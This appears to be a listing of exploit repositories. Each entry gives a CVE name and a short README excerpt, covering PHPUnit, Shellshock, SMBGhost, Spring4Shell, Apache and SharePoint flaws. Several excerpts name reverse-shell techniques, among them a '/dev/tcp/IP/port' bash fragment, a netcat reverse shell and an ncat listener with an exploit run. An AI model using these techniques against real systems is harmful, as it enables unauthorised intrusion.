CVE-2017-9841

phpunit-shell ⭐ a simple python3 script to exploit CVE-2017-9841. the exploit - CVE-2017-9841 ❗ simple script that exploits a remote code execution vulnerability found in PHPUnit before 4.8.28 and 5.x before 5.6.3. makes a post request to the target with user input system commands...

CVE-2024-29269

Installation and Execution of the script 💻 Prerequisites Before starting, make sure you have the following tools installed on your machine: Python 3.x Git pip to manage Python dependencies Installation Steps 1. Clone the repository Use git to clone the repository: root@kitploit: git clone git clo...

CVE-2014-6271

Hellshocker 0.1.1 Tool to exploit Shellshock vulnerability Tired of using weak shellshock exploits or just "/bin/bash & /dev/tcp/IP/port 0&1" your way into the server? Yes, you need to upload and execute something more complex to the server, and base64 encoding a huge file is impossible for your...

CVE-2025-24813-PoC

CVE-2025-24813 – Proof of Concept 📖 Overview This repository contains a Proof of Concept PoC for CVE-2025-24813 , a vulnerability affecting affected software/product name here – update based on advisory. The PoC demonstrates the issue in a safe and reproducible way , to help researchers, defender...

Ghost-Path-Traversal-CVE-2023-32235-

Bug Bounty Report - Ghost Path Traversal CVE-2023-32235 Summary The Ghost application is vulnerable to a path traversal vulnerability, identified as CVE-2023-32235. This vulnerability allows an attacker to access sensitive files outside the intended directory by manipulating the "package.json" fi...

CVE-2015-3224

CVE-2015-3224 Ruby-On-Rails Web Console RCE What is this? This is a metasploit module for Metasploit. I already have this module. Yes, this is packaged into metasploit. But with that module you can't get arbitrary command execution. I mean, you can only establish reverse/bind shell payloads with...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...

safeshell

safeshell Prevent PHP vulnerabilities similar to CVE-2016-10033 and CVE-2016-10045...

CVE-2022-22965-PoC

CVE-2022-22965 Spring4Shell Proof of Concept Test the RCE Remote Code Execution in Spring Core​ Build the image BuildKit based build is required so you need to enable it. Easiest way is to set the DOCKERBUILDKIT=1 environment variable when invoking the docker build command, such as: root@kitploit...

CVE-2021-41773

Apache Path Traversal & RCE Exploit CVE-2021-41773 & CVE-2021-42013 These are critical path traversal vulnerabilities affecting Apache HTTP Server 2.4.49 and 2.4.50. They allow attackers to: Access files outside the web root LFI Achieve Remote Code Execution RCE if CGI is enabled Both...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

CVE-2014-6332

CVE-2014-6332 CVE-2014-6332 POC de ZeroDay - Inicia PowerShell...

CrestCrack

CrestCrack CrestCrack is a simple script that exploits CVE-2016-5640 / CLVA-2016-05-002 within the Crestron AirMedia AM-100 v1.1.1.11 - v1.2.1. When supplied with arguments CrestCrack will utilize netcat to create a reverse shell between your target and a netcat listener of your choice. Setup: 1...

CVE-2021-39174-PoC

CVE-2021-39174-PoC Cachet configuration leak dumper. CVE-2021-39174 PoC...

web2py-e94946d-CVE-2016-3957

Léame web2py es un framework de pila completa gratuito y de código abierto para el desarrollo rápido de aplicaciones web basadas en bases de datos, rápidas, escalables, seguras y portátiles. Está escrito y es programable en Python. Licencia LGPLv3 Obtén más información en http://web2py.com...

Vehicle-Service-Management-System-Category-List-Stored-Cross-Site-Scripting-XSS

CVE-2021-46071 Exploit Title: Vehicle Service Management System - 'Category List' Stored Cross Site Scripting XSS Exploit Author: SANU P.L CVE: CVE-2021-46071 CVSS: 4.8 MEDIUM References: https://www.plsanu.com/vehicle-service-management-system-category-list-stored-cross-site-scripting-xss...

CVE-2025-48595-Exploit

This repository does not have a README...

asrockploit

ejecución de código arbitrario con CVE-2020-15368...

SharePoint-CVE-2025-53770-POC

OurSharePoint - CVE-2025-53770 PoC This is a simple C tool that builds a GZipped, Base64-encoded .NET DataSet payload using a LosFormatter-encoded inner payload. It's designed to help reproduce the SharePoint deserialization RCE chain described in public research. What it does You give it a...

CVE-2025-32375

Setup for the vulnerable version. Start the vulnerable container: root@kitploit: docker compose up Create a listener e.g. ncat: root@kitploit: ncat -klnv 1337 Run the exploit: root@kitploit: python3 exploit.py You should receive an HTTP request in the ncat window with the contents of the OS comma...